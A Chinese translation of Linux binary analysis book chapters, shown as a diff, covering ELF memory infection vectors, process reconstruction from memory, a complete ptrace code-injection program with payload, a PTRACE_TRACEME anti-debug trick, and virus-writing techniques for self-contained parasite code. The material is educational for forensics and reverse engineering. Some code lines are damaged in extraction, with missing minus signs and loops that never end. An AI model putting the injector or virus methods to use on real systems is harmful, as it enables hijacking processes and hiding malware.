确实如此,特别是对于那些对设计专门的软件以识别内存中的威胁感兴趣的人来说。 - -在本章的最后,我们将看到如何编写一个程序来检测运行中的软件中的蹦床函数。 - -## 在记忆中寻找什么 - -除了对数据段变量、全局偏移表、函数指针和未初始化变量(即`.bss`段)的更改以外,`ELF`可执行文件在内存中的更改与在磁盘中的更改几乎相同。 - -这意味着在`ELF`二进制文件中使用的许多病毒或 rootkit 技术也可以应用于进程(运行时代码),因此它们对攻击者保持隐藏更好。 我们将在整本书中深入讨论所有这些常见的感染载体,但这里是一些已被用于实现感染代码的技术的列表: - - -| - -感染技术 - - | - -预期结果 - - | - -居住类型 - - | -| --- | --- | --- | -| 有感染 | 劫持共享库函数 | 进程内存或可执行文件 | -| **操作联动表**(**PLT**)感染 | 劫持共享库函数 | 进程内存或可执行文件 | -| `.ctors`/`.dtors`功能指针修改 | 将控制流更改为恶意代码 | 进程内存或可执行文件 | -| 函数蹦床 | 劫持任何函数 | 进程内存或可执行文件 | -| 共享库注入 | 插入恶意代码 | 进程内存或可执行文件 | -| 浮动代码注入 | 插入恶意代码 | 进程内存或可执行文件 | -| 直接修改文本段 | 插入恶意代码 | 进程内存或可执行文件 | -| 进程占有(将整个程序注入地址空间) | 运行隐藏在现有进程中的完全不同的可执行程序 | 进程内存 | - -使用`ELF`格式解析、`/proc//maps`和`ptrace`的组合,可以创建一组启发式方法来检测前面的每一种技术,并创建一个反方法来消除所谓的寄生代码。 我们将深入研究所有这些技术的书,主要在第四章,*精灵病毒技术——Linux / Unix 病毒*和[第六章【显示】,*精灵二进制取证在 Linux 中*。](6.html#1P71O2-1d4163ae11644cc2802846625b2dc985 "Chapter 6. ELF Binary Forensics in Linux") - -# 处理图像重建-从内存到可执行文件 - -使用`ELF`格式和`ptrace`来测试我们能力的一个简单练习是设计一个能够将进程映像重构回可执行文件的软件。 这对于我们在系统上发现可疑程序的取证工作尤其有用。 **扩展核心文件快照**(**ECFS**)技术能够做到这一点,并将该功能扩展为一种创新的取证和调试格式,向后兼容传统 Linux 核心文件的格式。 这可以在[https://github.com/elfmaster/ecfs](https://github.com/elfmaster/ecfs)上找到,并在本书[第八章](8.html#26I9K1-1d4163ae11644cc2802846625b2dc985 "Chapter 8. ECFS – Extended Core File Snapshot Technology"),*ECFS - Extended Core File Snapshot Technology*中有进一步的说明。 昆雅也有这个功能,可以在[http://www.bitlackeys.org/projects/quenya_32bit.tgz](http://www.bitlackeys.org/projects/quenya_32bit.tgz)下载。 - -## 流程可执行重构的挑战 - -为了将流程重新构建为可执行程序,我们必须首先考虑所涉及的挑战,因为有无数的事情需要考虑。 有一种特定类型的变量是我们无法控制的,它们是初始化数据中的全局变量。 它们可能在运行时被更改为代码指定的变量,我们将无法知道在运行时之前它们应该被初始化为什么。 我们甚至不能通过静态代码分析来发现这一点。 - -以下是可执行重构的目标: - -* 以进程 ID 作为参数,并将该进程映像重构回其可执行文件状态 -* 我们应该构造一个最小的节头集,以便程序可以通过`objdump`和`gdb`等工具以更高的精度进行分析 - -## 可执行重构的挑战 - -完全可执行重构是可能的,但它带来了一些挑战,特别是在重构动态链接的可执行文件时。 在这里,我们将讨论主要的挑战是什么,以及每个挑战的一般解决方案是什么。 - -### PLT/GOT 完整性 - -全局偏移量表将在中填充相应共享库函数的解析值。 当然,这是由动态连接器完成的,因此我们必须用原始 PLT 存根地址替换这些地址。 我们这样做是为了在第一次调用共享库函数时,它们通过将 GOT 偏移量推入堆栈的 PLT 指令正确地触发动态链接器。 参考[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format")、*ELF 二进制格式*中的*ELF 和*动态链接部分。 - -下图展示了如何恢复 GOT 条目: - -![PLT/GOT integrity](img/00004.jpeg) - -## 添加一个 section 头表 - -记住,一个程序的 section 头表在运行时不会被加载到内存中。 这是因为它是不必要的。 当将进程映像重新构建到可执行文件中时,需要(尽管不是必需的)添加一个 section 头表。 添加原始可执行文件上的每个 section 头条目是完全可能的,但是一个好的`ELF`黑客至少可以生成基本的内容。 - -所以试着创建一个部分头以下部分:`.interp`,`.note`,`.text`,`.dynamic`,`.got.plt`,`.data`,`.bss`,`.shstrtab`,【显示】和`.dynstr`。 - -### 注意事项 - -如果您正在重构的可执行文件是静态链接的,那么您就不会有`.dynamic`、`.got.plt`、`.dynsym`或`.dynstr`部分。 - -## 该过程的算法 - -让我们看看可执行重构: - -1. Locate the base address of the executable (text segment). This can be done by parsing `/proc//maps`: - - ```sh - [First line of output from /proc//maps file for program 'evil'] - - 00400000-401000 r-xp /home/ryan/evil - - ``` - - ### 提示 - - 使用`PTRACE_PEEKTEXT`和`ptrace`的请求来阅读整篇文章。 您可以在前面映射输出中的一行中看到,文本段(标记为`r-xp`)的地址范围是`0x400000`到`0x401000`,这是 4096 字节。 这就是文本段的缓冲区应该有多大。 由于我们还没有介绍如何使用`PTRACE_PEEKTEXT`一次读取一个以上的长单词,所以我编写了一个名为`pid_read()`的函数来演示一种很好的方法。 - - ```sh - [Source code for pid_read() function] - int pid_read(int pid, void *dst, const void *src, size_t len) - { - int sz = len / sizeof(void *); - unsigned char *s = (unsigned char *)src; - unsigned char *d = (unsigned char *)dst; - unsigned long word; - while (sz!=0) { - word = ptrace(PTRACE_PEEKTEXT, pid, (long *)s, NULL); - if (word == 1) - return 1; - *(long *)d = word; - s += sizeof(long); - d += sizeof(long); - } - return 0; - } - ``` - -2. 解析`ELF`文件头(例如`Elf64_Ehdr`)来定位程序头表: - - ```sh - /* Where buffer is the buffer holding the text segment */ - Elf64_Ehdr *ehdr = (Elf64_Ehdr *)buffer; - Elf64_Phdr *phdr = (Elf64_Phdr *)&buffer[ehdr->e_phoff]; - ``` - -3. 然后解析程序头表,找到数据段: - - ```sh - for (c = 0; c < ehdr>e_phnum; c++) - if (phdr[c].p_type == PT_LOAD && phdr[c].p_offset) { - dataVaddr = phdr[c].p_vaddr; - dataSize = phdr[c].p_memsz; - break; - } - pid_read(pid, databuff, dataVaddr, dataSize); - ``` - -4. Read the data segment into a buffer, and locate the dynamic segment within it and then the GOT. Use `d_tag` from the dynamic segment to locate the GOT: - - ### 注意事项 - - 我们讨论了第二章、*ELF 二进制格式*中*动态链接*部分的动态段及其标记值。 - - ```sh - Elf64_Dyn *dyn; - for (c = 0; c < ehdr->e_phnum; c++) { - if (phdr[c].p_type == PT_DYNAMIC) { - dyn = (Elf64_Dyn *)&databuff[phdr[c].p_vaddr – dataAddr]; - break; - } - if (dyn) { - for (c = 0; dyn[c].d_tag != DT_NULL; c++) { - switch(dyn[c].d_tag) { - case DT_PLTGOT: - gotAddr = dyn[i].d_un.d_ptr; - break; - case DT_STRTAB: - /* Get .dynstr info */ - break; - case DT_SYMTAB: - /* Get .dynsym info */ - break; - } - } - } - ``` - -5. 一旦找到了 GOT,就必须将其恢复到运行前的状态。 最重要的部分是恢复每个 GOT 条目中的原始 PLT 存根地址,以便在程序运行时进行惰性链接。 见[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format")、*ELF 二进制格式*: - - ```sh - 00000000004003e0 : - 4003e0: ff 25 32 0c 20 00 jmpq *0x200c32(%rip) # 601018 - 4003e6: 68 00 00 00 00 pushq $0x0 - 4003eb: e9 e0 ff ff ff jmpq 4003d0 <_init+0x28> - - ``` - - *ELF 动态链接*部分 -6. 应该对为`puts()`保留的 GOT 条目进行补丁,以指向 PLT 存根代码,该存根代码将 GOT 偏移量推入该条目的堆栈。 它的地址`0x4003e6`在前面的命令中给出。 确定 get -to- plt 条目关系的方法留给读者作为练习。 -7. 可以选择重建一个 section 头表。 然后将文本和数据段(以及段头表)写入磁盘。 - -## 在 32 位测试环境中使用 quanya 进行进程重构 - -一个名为`dumpme`的 32 位`ELF`可执行程序简单地打印`You can Dump my segments!`字符串,然后暂停,给我们时间来重建它。 - -现在,下面的代码演示了 Quenya 将进程映像重构为可执行文件: - -```sh -[Quenya v0.1@ELFWorkshop] -rebuild 2497 dumpme.out -[+] Beginning analysis for executable reconstruction of process image (pid: 2497) -[+] Getting Loadable segment info... -[+] Found loadable segments: text segment, data segment -Located PLT GOT Vaddr 0x804a000 -Relevant GOT entries begin at 0x804a00c -[+] Resolved PLT: 0x8048336 -PLT Entries: 5 -Patch #1 [ -0xb75f7040] changed to [0x8048346] -Patch #2 [ -0xb75a7190] changed to [0x8048356] -Patch #3 [ -0x8048366] changed to [0x8048366] -Patch #4 [ -0xb755a990] changed to [0x8048376] -[+] Patched GOT with PLT stubs -Successfully rebuilt ELF object from memory -Output executable location: dumpme.out -[Quenya v0.1@ELFWorkshop] -quit -``` - -这里,我们将演示输出可执行文件的正确运行: - -```sh -hacker@ELFWorkshop:~/ -workshop/labs/exercise_9$ ./dumpme.out -You can Dump my segments! - -``` - -昆雅也为可执行文件创建了一个最小的 section 头表: - -```sh -hacker@ELFWorkshop:~/ -workshop/labs/exercise_9$ readelf -S -dumpme.out - -``` - -有 7 个 section 头,从偏移量`0x1118`开始,如下所示: - -![Process reconstruction with Quenya on a 32-bit test environment](img/00005.jpeg) - -昆雅流程重构的源代码主要位于`rebuild.c`,昆雅可以从我的网站[http://www.bitlackeys.org/](http://www.bitlackeys.org/)下载。 - -# 使用 ptrace 进行代码注入 - -到目前为止,我们已经检查了`ptrace`的一些有趣的用例,包括过程分析和过程图像重建。 `ptrace`的另一个常见用法是将新代码引入正在运行的进程并执行它。 攻击者通常会这样做,修改正在运行的程序,以便它做其他事情,比如将恶意共享库加载到进程地址空间中。 - -在 Linux 中,默认的`ptrace()`行为是这样的,它允许您将`Using PTRACE_POKETEXT`写入不可写的段,例如文本段。 这是因为调试器需要在代码中插入断点。 这对于那些想要将代码插入内存并执行它的黑客来说非常有用。 为了证明这一点,我们写了`code_inject.c`。 它连接到一个进程并注入一个 shell 代码,该代码将创建一个足够大的匿名内存映射来容纳我们的有效负载可执行文件`payload.c`,然后将其注入到新内存中并执行。 - -### 注意事项 - -正如本章前面提到的,用`PaX`打补丁的 Linux 内核将不允许`ptrace()`写入不可写的段。 这是为了进一步加强内存保护限制。 在文章*ELF 运行时感染经 GOT 中毒*中,我已经讨论了绕过这些限制的方法,通过操作`vsyscall`表与`ptrace`。 - -现在,让我们看一个代码示例,在这个示例中,我们将一个 shell 代码注入到一个正在运行的进程中,加载一个外部可执行文件: - -```sh -To compile: gcc code_inject.c o code_inject -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE 1)) -#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE) -#define WORD_ALIGN(x) ((x + 7) & ~7) -#define BASE_ADDRESS 0x00100000 -typedef struct handle { - Elf64_Ehdr *ehdr; - Elf64_Phdr *phdr; - Elf64_Shdr *shdr; - uint8_t *mem; - pid_t pid; - uint8_t *shellcode; - char *exec_path; - uint64_t base; - uint64_t stack; - uint64_t entry; - struct user_regs_struct pt_reg; -} handle_t; - -static inline volatile void * -evil_mmap(void *, uint64_t, uint64_t, uint64_t, int64_t, uint64_t) -__attribute__((aligned(8),__always_inline__)); -uint64_t injection_code(void *) __attribute__((aligned(8))); -uint64_t get_text_base(pid_t); -int pid_write(int, void *, const void *, size_t); -uint8_t *create_fn_shellcode(void (*fn)(), size_t len); - -void *f1 = injection_code; -void *f2 = get_text_base; - -static inline volatile long evil_write(long fd, char *buf, unsigned long len) -{ - long ret; - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov %2, %%rdx\n" - "mov $1, %%rax\n" - "syscall" : : "g"(fd), "g"(buf), "g"(len)); - asm("mov %%rax, %0" : "=r"(ret)); - return ret; -} - -static inline volatile int evil_fstat(long fd, struct stat *buf) -{ - long ret; - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov $5, %%rax\n" - "syscall" : : "g"(fd), "g"(buf)); - asm("mov %%rax, %0" : "=r"(ret)); - return ret; -} - -static inline volatile int evil_open(const char *path, unsigned long flags) -{ - long ret; - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov $2, %%rax\n" - "syscall" : : "g"(path), "g"(flags)); - asm ("mov %%rax, %0" : "=r"(ret)); - return ret; -} - -static inline volatile void * evil_mmap(void *addr, uint64_t len, uint64_t prot, uint64_t flags, int64_t fd, uint64_t off) -{ - long mmap_fd = fd; - unsigned long mmap_off = off; - unsigned long mmap_flags = flags; - unsigned long ret; - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov %2, %%rdx\n" - "mov %3, %%r10\n" - "mov %4, %%r8\n" - "mov %5, %%r9\n" - "mov $9, %%rax\n" - "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), - "g"(mmap_fd), "g"(mmap_off)); - asm ("mov %%rax, %0" : "=r"(ret)); - return (void *)ret; -} - -uint64_t injection_code(void * vaddr) -{ - volatile void *mem; - mem = evil_mmap(vaddr,8192, - PROT_READ|PROT_WRITE|PROT_EXEC, - MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,1,0); - __asm__ __volatile__("int3"); -} - -#define MAX_PATH 512 - -uint64_t get_text_base(pid_t pid) -{ - char maps[MAX_PATH], line[256]; - char *start, *p; - FILE *fd; - int i; - Elf64_Addr base; - snprintf(maps, MAX_PATH 1, - "/proc/%d/maps", pid); - if ((fd = fopen(maps, "r")) == NULL) { - fprintf(stderr, "Cannot open %s for reading: %s\n", maps, strerror(errno)); - return 1; - } - while (fgets(line, sizeof(line), fd)) { - if (!strstr(line, "rxp")) - continue; - for (i = 0, start = alloca(32), p = line; *p != ''; i++, p++) - start[i] = *p; - - start[i] = '\0'; - base = strtoul(start, NULL, 16); - break; - } - fclose(fd); - return base; -} - -uint8_t * create_fn_shellcode(void (*fn)(), size_t len) -{ - size_t i; - uint8_t *shellcode = (uint8_t *)malloc(len); - uint8_t *p = (uint8_t *)fn; - for (i = 0; i < len; i++) - *(shellcode + i) = *p++; - return shellcode; -} - -int pid_read(int pid, void *dst, const void *src, size_t len) -{ - int sz = len / sizeof(void *); - unsigned char *s = (unsigned char *)src; - unsigned char *d = (unsigned char *)dst; - long word; - while (sz!=0) { - word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL); - if (word == 1 && errno) { - fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid,strerror(errno)); - goto fail; - } - *(long *)d = word; - s += sizeof(long); - d += sizeof(long); - } - return 0; - fail: - perror("PTRACE_PEEKTEXT"); - return 1; -} - -int pid_write(int pid, void *dest, const void *src, size_t len) -{ - size_t quot = len / sizeof(void *); - unsigned char *s = (unsigned char *) src; - unsigned char *d = (unsigned char *) dest; - while (quot!= 0) { - if ( ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1) - goto out_error; - s += sizeof(void *); - d += sizeof(void *); - } - return 0; - out_error: - perror("PTRACE_POKETEXT"); - return 1; -} - -int main(int argc, char **argv) -{ - handle_t h; - unsigned long shellcode_size = f2 f1; - int i, fd, status; - uint8_t *executable, *origcode; - struct stat st; - Elf64_Ehdr *ehdr; - if (argc < 3) { - printf("Usage: %s \n", argv[0]); - exit(1); - } - h.pid = atoi(argv[1]); - h.exec_path = strdup(argv[2]); - if (ptrace(PTRACE_ATTACH, h.pid) < 0) { - perror("PTRACE_ATTACH"); - exit(1); - } - wait(NULL); - h.base = get_text_base(h.pid); - shellcode_size += 8; - h.shellcode = create_fn_shellcode((void *)&injection_code, shellcode_size); - origcode = alloca(shellcode_size); - if (pid_read(h.pid, (void *)origcode, (void *)h.base, shellcode_size) < 0) - exit(1); - if (pid_write(h.pid, (void *)h.base, (void *)h.shellcode, shellcode_size) < 0) - exit(1); - if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_GETREGS"); - exit(1); - } - h.pt_reg.rip = h.base; - h.pt_reg.rdi = BASE_ADDRESS; - if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_SETREGS"); - exit(1); - } - if (ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0) { - perror("PTRACE_CONT"); - exit(1); - } - wait(&status); - if (WSTOPSIG(status) != SIGTRAP) { - printf("Something went wrong\n"); - exit(1); - } - if (pid_write(h.pid, (void *)h.base, (void *)origcode, shellcode_size) < 0) - exit(1); - if ((fd = open(h.exec_path, O_RDONLY)) < 0) { - perror("open"); - exit(1); - } - if (fstat(fd, &st) < 0) { - perror("fstat"); - exit(1); - } - executable = malloc(WORD_ALIGN(st.st_size)); - if (read(fd, executable, st.st_size) < 0) { - perror("read"); - exit(1); - } - ehdr = (Elf64_Ehdr *)executable; - h.entry = ehdr->e_entry; - close(fd); - if (pid_write(h.pid, (void *)BASE_ADDRESS, (void *)executable, st.st_size) < 0) - exit(1); - if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_GETREGS"); - exit(1); - } - h.entry = BASE_ADDRESS + h.entry; - h.pt_reg.rip = h.entry; - if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) { - perror("PTRACE_SETREGS"); - exit(1); - } - if (ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0) { - perror("PTRACE_CONT"); - exit(1); - } - wait(NULL); - exit(0); -} -``` - -下面是`payload.c`的源代码代码。 它的编译不需要`libc`链接,使用位置无关代码: - -```sh -To Compile: gcc -fpic -pie -nostdlib payload.c -o payload - -long _write(long fd, char *buf, unsigned long len) -{ - long ret; - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov %2, %%rdx\n" - "mov $1, %%rax\n" - "syscall" : : "g"(fd), "g"(buf), "g"(len)); - asm("mov %%rax, %0" : "=r"(ret)); - return ret; -} - -void Exit(long status) -{ - __asm__ volatile("mov %0, %%rdi\n" - "mov $60, %%rax\n" - "syscall" : : "r"(status)); -} - -_start() -{ - _write(1, "I am the payload who has hijacked your process!\n", 48); - Exit(0); -} -``` - -# 简单的例子并不总是那么微不足道 - -虽然我们的代码注入的源代码看起来并不琐碎,但`code_inject.c`源代码是实际内存感染病毒的一个稍微衰减的版本。 我这样说是因为它仅限于注入位置无关的代码,并且它将有效负载可执行文件的文本和数据段连续加载到相同的内存区域中。 - -如果有效负载程序要引用数据段中的任何变量,它们将无法工作,因此在实际场景中,两个段之间必须有适当的页面对齐。 在我们的例子中,有效负载程序非常基本,只是将一个字符串写入终端的标准输出。 同样在真实的场景中,攻击者通常希望保存原始的指令指针和寄存器,然后在 shell 代码运行后在那个点继续执行。 在我们的例子中,我们只是让 shell 代码打印一个字符串,然后退出整个程序。 - -大多数黑客将共享库或可重定位代码注入进程地址空间。 将复杂的可执行文件注入进程地址空间的想法是我以前从未见过的一种技术,除了我自己的实验和实现之外。 - -### 注意事项 - -注入复杂的程序的一个很好的例子可以找到进程地址空间的`elfdemon`源代码,它允许用户将一个完整的动态链接可执行`ET_EXEC`类型的现有过程没有覆盖主机程序。 这项任务有许多挑战,可以在我的一个实验项目中找到以下链接: - -[http://www.bitlackeys.org/projects/elfdemon.tgz](http://www.bitlackeys.org/projects/elfdemon.tgz) - -# 演示 code_inject 工具 - -正如我们所看到的,我们的程序注入并执行了一个 shell 代码,该代码创建了一个可执行的内存映射,然后有效负载程序被注入并执行: - -1. 运行主机程序(您要感染的程序): - - ```sh - ryan@elfmaster:~$ ./host & - [1] 29656 - I am but a simple program, please don't infect me. - - ``` - -2. 运行`code_inject`,告诉它将名为 payload 的程序注入到主机进程中: - -您可能已经注意到,在`code_inject.c`中似乎没有传统的 shell 代码(字节代码)。 这是因为`uint64_t injection_code(void *)`函数是我们的 shell 代码。 因为它已经被编译成机器指令,所以我们只是计算了它的长度,并将它的地址传递给`pid_write()`,以便将它注入到进程中。 在我看来,这是一种比包含字节码数组的更常见方法更优雅的方法。 - -# 一个 ptrace 反调试技巧 - -`ptrace`命令可以作为一种反调试技术。 通常,当黑客不希望他们的程序被容易地调试时,他们包括某些反调试技术。 在 Linux 中,一种流行的方法是将`ptrace`与`PTRACE_TRACEME`请求一起使用,以便它跟踪自己的进程。 - -请记住,一个进程一次只能有一个跟踪程序,因此,如果一个进程已经被跟踪,并且调试器试图使用`ptrace`连接,则会显示`Operation not permitted`。 `PTRACE_TRACEME`也可以用来检查你的程序是否已经被调试。 您可以使用下面部分中的代码进行检查。 - -## 您的程序正在被跟踪吗? - -让我们来看看一个代码片段,它将使用`ptrace`来确定您的程序是否已经被跟踪: - -```sh -if (ptrace(PTRACE_TRACEME, 0) < 0) { -printf("This process is being debugged!!!\n"); -exit(1); -} -``` - -前面的代码能够工作,因为它只在程序已经被跟踪时才会失败。 因此,如果`ptrace`和`PTRACE_TRACEME`返回一个错误值(小于`0`),则可以确定存在一个调试器,然后退出程序。 - -### 注意事项 - -如果没有调试器,那么`PTRACE_TRACEME`将成功,现在程序正在跟踪自己,调试器跟踪程序的任何尝试都将失败。 因此,这是一个很好的反调试措施。 - -所示[第一章【显示】,*Linux 环境及其工具*、`LD_PRELOAD`环境变量可用于绕过这 anti-debug 措施通过欺骗程序加载一个假`ptrace`命令,返回`0`,对调试器,因此没有任何作用。 相反,如果一个程序使用`ptrace`反调试技巧而不使用`libc ptrace`包装器—而是创建自己的包装器—那么`LD_PRELOAD`技巧将不起作用。 这是因为该程序不依赖任何库来访问`ptrace`。](1.html#E9OE2-1d4163ae11644cc2802846625b2dc985 "Chapter 1. The Linux Environment and Its Tools") - -下面是通过编写自己的包装器来使用`ptrace`的另一种方法。 我们将在本例中使用`x86_64 ptrace`包装器: - -```sh -#define SYS_PTRACE 101 -long my_ptrace(long request, long pid, void *addr, void *data) -{ - long ret; - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov %2, %%rdx\n" - "mov %3, %%r10\n" - "mov $SYS_PTRACE, %%rax\n" - "syscall" : : "g"(request), "g"(pid), - "g"(addr), "g"(data)); - __asm__ volatile("mov %%rax, %0" : "=r"(ret)); - return ret; -} -``` - -# 总结 - -在本章中,您了解了`ptrace`系统调用的重要性,以及如何将其与病毒和内存感染一起使用。 另一方面,它是安全研究人员、逆向工程和先进的热修补技术的强大工具。 - -在本书的其余部分中将定期使用`ptrace`系统调用。 这一章仅作为入门。 - -在下一章中,我们将介绍令人兴奋的 Linux ELF 病毒感染世界以及病毒创建背后的工程实践。** \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/4.md b/docs/learn-linux-bin-anal/4.md deleted file mode 100644 index 384afe6a..00000000 --- a/docs/learn-linux-bin-anal/4.md +++ /dev/null @@ -1,686 +0,0 @@ -# 四、ELF 病毒技术——Linux/Unix 病毒 - -病毒编写的艺术已经存在了几十年了。 事实上,这可以追溯到 1981 年通过一款软盘视频游戏在野外成功传播的 Elk Cloner Apple 病毒。 80 年代中期以来,通过“90 年代,已经有各种各样的秘密团体和黑客用晦涩难懂的知识设计,释放,发布病毒在病毒和黑客 e - zine[(见 http://vxheaven.org/lib/static/vdat/ezines1.htm)。](http://vxheaven.org/lib/static/vdat/ezines1.htm) - -编写病毒的艺术通常对黑客和地下技术爱好者有很大的启发,并不是因为他们有能力进行破坏, 而是设计它们的挑战,以及成功编程寄生虫(通过隐藏在其他可执行文件和进程中)所需的非常规编码技术。 此外,保持寄生虫隐形的技术和解决方案,如多态和变形代码,对程序员来说是一个独特的挑战。 - -UNIX 病毒初以来已经存在的 90 年代,但我认为很多人会同意说的真正父亲 UNIX 病毒是西尔维奥•凯撒(http://vxheaven.org/lib/vsc02.html),发表了许多论文在 90 年代末在精灵病毒感染的方法。 这些方法今天仍然以不同的方式被使用。 - -Silvio 是第一个发布了一些令人惊叹的技术,比如 PLT/GOT 重定向、文本段填充感染、数据段感染、可重定位代码注入、`/dev/kmem`补丁和内核函数劫持。 不仅如此,他个人在我介绍 ELF 二进制黑客的过程中扮演了重要的角色,我将永远感激他的影响。 - -在本章中,我们将讨论为什么了解 ELF 病毒技术和如何设计它们是重要的。 除了编写病毒之外,ELF 病毒背后的技术还可以用于许多事情,比如通用二进制补丁和热补丁,它们可以用于安全、软件工程和反向。 为了对病毒进行逆向工程,你应该了解其中有多少是有效的。 值得注意的是,我最近对一种名为**Retaliation**的独特且异常的 ELF 病毒进行了反向工程并编写了一份概要。 本作品可在[http://www.bitlackeys.org/#retaliation](http://www.bitlackeys.org/#retaliation)中找到。 - -# ELF 病毒技术 - -ELF 病毒技术的世界将为你作为一个黑客和工程师打开许多扇门。 首先,让我们讨论什么是 ELF 病毒。 每个可执行程序都有一个控制流,也称为执行路径。 ELF 病毒的第一个目标是劫持控制流,以便临时更改执行路径以执行寄生代码。 寄生代码通常负责设置劫持函数的钩子,也负责将自身(寄生代码的主体)复制到尚未被病毒感染的另一个程序中。 一旦寄生代码运行完成,它通常跳转到原始入口点或常规的执行路径。 这样,病毒就不会被注意到,因为主机程序似乎在正常执行。 - -![ELF virus technology](img/00006.jpeg) - -图 4.1:对可执行文件的一般性感染 - -# ELF 病毒工程挑战 - -ELF 病毒的设计阶段可以看作是一种艺术努力,需要创造性的思维和巧妙的构造; 许多热情的程序员都会同意这一点。 同时,它是一个巨大的工程挑战,它超越了编程的常规惯例,要求开发人员跳出常规范式进行思考,并以某种方式操作代码、数据和环境。 有一次,我在一家大型**反病毒**(**AV**)公司对他们的一款产品进行了安全性评估。 在与反病毒软件的开发者交谈时,我惊讶地发现他们几乎没有人真正知道如何设计病毒,更不用说设计识别病毒的真正启发式(除了签名)了。 事实上,编写病毒是很困难的,并且需要严格的技巧。 在设计它们的时候会遇到很多挑战,在我们讨论工程组件之前,让我们看看其中的一些挑战是什么。 - -## 寄生代码必须是自包含的 - -一个寄生虫必须能够实际存在于另一个程序中。 这意味着它不能通过动态链接器链接到外部库。 寄生体必须是自包含的,这意味着它不依赖外部链接,是位置独立的,并且能够在自身内动态计算内存地址; 这是因为地址在每次感染之间会改变,因为寄生虫将被注射到一个现有的二进制文件中,每次它的位置都会改变。 这意味着,如果寄生代码通过其地址引用函数或字符串,硬编码的地址将改变,代码将失败; 相反,使用与 ip 相关的代码,并使用一个函数来计算代码/数据的地址,该函数根据代码/数据相对于指令指针的偏移量。 - -### 注意事项 - -在一些更复杂的内存病毒如我*萨鲁曼*病毒,我让寄生虫被编译为可执行程序和动态链接,但是代码发布到进程地址空间是非常复杂的,因为它必须手动处理搬迁和动态链接。 还有一些可重新定位的代码注入器,如 quyna,它允许寄生虫被编译为可重新定位的对象,但感染病毒者必须能够在感染阶段支持处理重新定位。 - -### 溶液 - -使用`gcc`选项`-nostdlib`编译初始病毒可执行文件。 你也可以用`-fpic -pie`来编译它,使可执行**位置无关的代码**(**PIC**)。 在 x86_64 计算机上可用的与 ip 相关的寻址实际上是病毒编写者的一个很好的特性。 创建自己的常用函数,如`strcpy()`和`memcmp()`。 当您需要使用`malloc()`进行堆分配等高级功能时,您可以使用`sys_brk()`或`sys_mmap()`来创建自己的分配例程。 创建你自己的系统调用包装器,例如,下面显示了一个用于`mmap`系统调用的包装器,使用 C 语言和内联组装: - -```sh -#define __NR_MMAP 9 -void *_mmap(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off) -{ - long mmap_fd = fd; - unsigned long mmap_off = off; - unsigned long mmap_flags = flags; - unsigned long ret; - - __asm__ volatile( - "mov %0, %%rdi\n" - "mov %1, %%rsi\n" - "mov %2, %%rdx\n" - "mov %3, %%r10\n" - "mov %4, %%r8\n" - "mov %5, %%r9\n" - "mov $__NR_MMAP, %%rax\n" - "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off)); - __asm__ volatile ("mov %%rax, %0" : "=r"(ret)); - return (void *)ret; -} -``` - -一旦有一个包装器调用`mmap()`系统调用,就可以创建一个简单的`malloc`例程。 - -函数的作用是在堆上分配内存。 我们的小`malloc`函数为每次分配使用一个内存映射段,这是低效的,但对于简单的用例来说足够了: - -```sh -void * _malloc(size_t len) -{ - void *mem = _mmap(NULL, len, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); - if (mem == (void *)-1) - return NULL; - return mem; -} -``` - -## 字符串存储的复杂性 - -这个挑战与关于自包含代码的最后一节混合在一起。 在处理病毒代码中的字符串时,您可能有: - -```sh -const char *name = "elfmaster"; -``` - -您将倾向于远离前面的代码。 这是因为编译器可能会将`elfmaster`数据存储在`.rodata`节中,然后通过其地址引用该字符串。 一旦病毒可执行程序被注入到另一个程序中,该地址将无效。 这个问题实际上与我们前面讨论过的硬编码地址问题有关。 - -### 溶液 - -使用堆栈来存储字符串,以便在运行时动态分配: - -```sh -char name[10] = {'e', 'l', 'f', 'm', 'a', 's', 't', 'e', 'r', '\0'}; -``` - -另一个整洁的技巧,我只是最近发现在构建 Skeksi 病毒 64 位的 Linux 的文本和数据段合并成一个单一的部分,也就是说,**阅读+写作+执行**(【显示】RWX),通过使用`-N`与`gcc`选项。 这非常好,因为全局数据和只读数据(如`.data`和`.rodata`段)都合并到一个段中。 这允许病毒在感染阶段简单地注入整个片段,其中将包括来自`.rodata`的字符串字面值。 这种技术与 ip 相关寻址相结合,允许病毒作者使用传统字符串字面值: - -```sh -char *name = "elfmaster"; -``` - -这种类型的字符串现在可以在病毒代码中使用,并且可以完全避免将字符串存储在堆栈上的方法。 但是,需要注意的是,将存储在全局数据中的所有字符串从堆栈中删除将导致病毒寄生虫的总体大小增加,这有时是不受欢迎的。 Skeksi 病毒最近已发布,可通过[http://www.bitlackeys.org/#skeksi](http://www.bitlackeys.org/#skeksi)获取。 - -## 